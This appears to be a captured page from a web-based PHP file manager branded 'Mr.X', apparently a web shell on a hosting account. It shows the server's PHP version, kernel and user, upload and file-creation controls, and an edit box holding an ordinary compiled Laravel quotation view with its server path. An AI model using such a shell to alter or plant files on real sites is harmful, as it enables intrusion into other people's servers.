🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:9e7f37e4796f10ee81396f4f9338ef4a.php
<?php if (isset($component)) { $__componentOriginal9ac128a9029c0e4701924bd2d73d7f54 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54 = $attributes; } ?> <?php $component = App\View\Components\AppLayout::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?> <?php $component->withName('app-layout'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?> <?php $attributes = $attributes->except(\App\View\Components\AppLayout::ignoredParameterNames()); ?> <?php endif; ?> <?php $component->withAttributes([]); ?> <?php $__env->slot('header', null, []); ?> <div class="flex items-center justify-between"> <h2 class="text-xl font-semibold leading-tight text-white"> <?php echo e(__('Quotation')); ?> <?php echo e($quotation->quotation_number); ?> </h2> <a href="<?php echo e(route('admin.quotations')); ?>" class="text-sm text-orange hover:text-orange-dark font-medium">← Back to Quotations</a> </div> <?php $__env->endSlot(); ?> <div class="py-8"> <div class="mx-auto max-w-4xl sm:px-6 lg:px-8"> <div class="overflow-hidden rounded-lg bg-white shadow-sm ring-1 ring-gray-900/5 p-8"> <div class="flex justify-between items-start mb-8"> <div> <?php if (isset($component)) { $__componentOriginal8892e718f3d0d7a916180885c6f012e7 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal8892e718f3d0d7a916180885c6f012e7 = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.application-logo','data' => ['class' => 'h-12 w-auto']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?> <?php $component->withName('application-logo'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?> <?php $attributes = $attributes->except(\Illuminate\View\AnonymousComponent::ignoredParameterNames()); ?> <?php endif; ?> <?php $component->withAttributes(['class' => 'h-12 w-auto']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal8892e718f3d0d7a916180885c6f012e7)): ?> <?php $attributes = $__attributesOriginal8892e718f3d0d7a916180885c6f012e7; ?> <?php unset($__attributesOriginal8892e718f3d0d7a916180885c6f012e7); ?> <?php endif; ?> <?php if (isset($__componentOriginal8892e718f3d0d7a916180885c6f012e7)): ?> <?php $component = $__componentOriginal8892e718f3d0d7a916180885c6f012e7; ?> <?php unset($__componentOriginal8892e718f3d0d7a916180885c6f012e7); ?> <?php endif; ?> <p class="text-sm text-gray-500 mt-1">Internal Management System</p> </div> <div class="text-right"> <h2 class="text-xl font-bold text-orange">QUOTATION</h2> <p class="text-sm text-gray-600 mt-1"><?php echo e($quotation->quotation_number); ?></p> <p class="text-sm text-gray-600">Date: <?php echo e($quotation->created_at->format('M d, Y')); ?></p> <?php $statusColors = [ 'draft' => 'bg-gray-100 text-gray-800', 'sent' => 'bg-blue-100 text-blue-800', 'accepted' => 'bg-green-100 text-green-800', 'rejected' => 'bg-red-100 text-red-800', ]; ?> <span class="inline-flex items-center rounded-full px-2.5 py-0.5 text-xs font-semibold <?php echo e($statusColors[$quotation->status] ?? ''); ?> mt-2"> <?php echo e(ucfirst($quotation->status)); ?> </span> </div> </div> <div class="grid grid-cols-2 gap-8 mb-8"> <div> <h3 class="text-sm font-semibold text-gray-500 uppercase mb-2">Bill To</h3> <p class="font-semibold text-navy"><?php echo e($quotation->client_name); ?></p> <?php if($quotation->company_name): ?> <p class="text-sm text-gray-600"><?php echo e($quotation->company_name); ?></p> <?php endif; ?> <?php if($quotation->client): ?> <p class="text-sm text-gray-600"><?php echo e($quotation->client->email); ?></p> <?php endif; ?> </div> <?php if($quotation->project): ?> <div> <h3 class="text-sm font-semibold text-gray-500 uppercase mb-2">Project</h3> <p class="font-semibold text-navy"><?php echo e($quotation->project->name); ?></p> </div> <?php endif; ?> </div> <table class="min-w-full divide-y divide-gray-200 mb-8"> <thead> <tr class="bg-gray-50"> <th class="px-4 py-3 text-left text-xs font-semibold uppercase tracking-wider text-gray-500">#</th> <th class="px-4 py-3 text-left text-xs font-semibold uppercase tracking-wider text-gray-500">Description</th> <th class="px-4 py-3 text-center text-xs font-semibold uppercase tracking-wider text-gray-500">Qty</th> <th class="px-4 py-3 text-right text-xs font-semibold uppercase tracking-wider text-gray-500">Unit Price</th> <th class="px-4 py-3 text-right text-xs font-semibold uppercase tracking-wider text-gray-500">Total</th> </tr> </thead> <tbody class="divide-y divide-gray-100"> <?php $__currentLoopData = $quotation->items; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $index => $item): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td class="px-4 py-3 text-sm text-gray-600"><?php echo e($index + 1); ?></td> <td class="px-4 py-3 text-sm text-navy font-medium"><?php echo e($item->description); ?></td> <td class="px-4 py-3 text-sm text-gray-600 text-center"><?php echo e($item->quantity); ?></td> <td class="px-4 py-3 text-sm text-gray-600 text-right">Rs<?php echo e(number_format($item->unit_price, 2)); ?></td> <td class="px-4 py-3 text-sm text-navy font-semibold text-right">Rs<?php echo e(number_format($item->total, 2)); ?></td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tbody> </table> <div class="flex justify-end mb-8"> <div class="w-64 space-y-2"> <div class="flex justify-between text-sm"> <span class="text-gray-600">Subtotal:</span> <span class="font-medium">Rs<?php echo e(number_format($quotation->total_amount, 2)); ?></span> </div> <?php if($quotation->discount > 0): ?> <div class="flex justify-between text-sm"> <span class="text-gray-600">Discount:</span> <span class="font-medium text-red-600">-Rs<?php echo e(number_format($quotation->discount, 2)); ?></span> </div> <?php endif; ?> <div class="flex justify-between text-base border-t border-gray-200 pt-2"> <span class="font-bold text-navy">Final Amount:</span> <span class="font-bold text-navy text-lg">Rs<?php echo e(number_format($quotation->final_amount, 2)); ?></span> </div> </div> </div> <?php if($quotation->notes || $quotation->terms): ?> <div class="grid grid-cols-2 gap-8 mb-8"> <?php if($quotation->notes): ?> <div> <h3 class="text-sm font-semibold text-gray-500 uppercase mb-2">Notes</h3> <p class="text-sm text-gray-600"><?php echo e($quotation->notes); ?></p> </div> <?php endif; ?> <?php if($quotation->terms): ?> <div> <h3 class="text-sm font-semibold text-gray-500 uppercase mb-2">Terms & Conditions</h3> <p class="text-sm text-gray-600"><?php echo e($quotation->terms); ?></p> </div> <?php endif; ?> </div> <?php endif; ?> <?php if($quotation->status === 'draft'): ?> <div class="flex justify-end gap-3 pt-4 border-t"> <form action="<?php echo e(route('admin.quotation.send', $quotation)); ?>" method="POST"> <?php echo csrf_field(); ?> <button type="submit" class="px-6 py-2 bg-green-600 text-white rounded-md text-sm font-medium hover:bg-green-700"> Send to Client </button> </form> </div> <?php endif; ?> </div> </div> </div> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54)): ?> <?php $attributes = $__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54; ?> <?php unset($__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54); ?> <?php endif; ?> <?php if (isset($__componentOriginal9ac128a9029c0e4701924bd2d73d7f54)): ?> <?php $component = $__componentOriginal9ac128a9029c0e4701924bd2d73d7f54; ?> <?php unset($__componentOriginal9ac128a9029c0e4701924bd2d73d7f54); ?> <?php endif; ?> <?php /**PATH /home/websparkit/public_html/clint.websparkit.com/laravel/resources/views/admin/quotation_show.blade.php ENDPATH**/ ?>
Save Changes
Cancel
Create New File
Create New Folder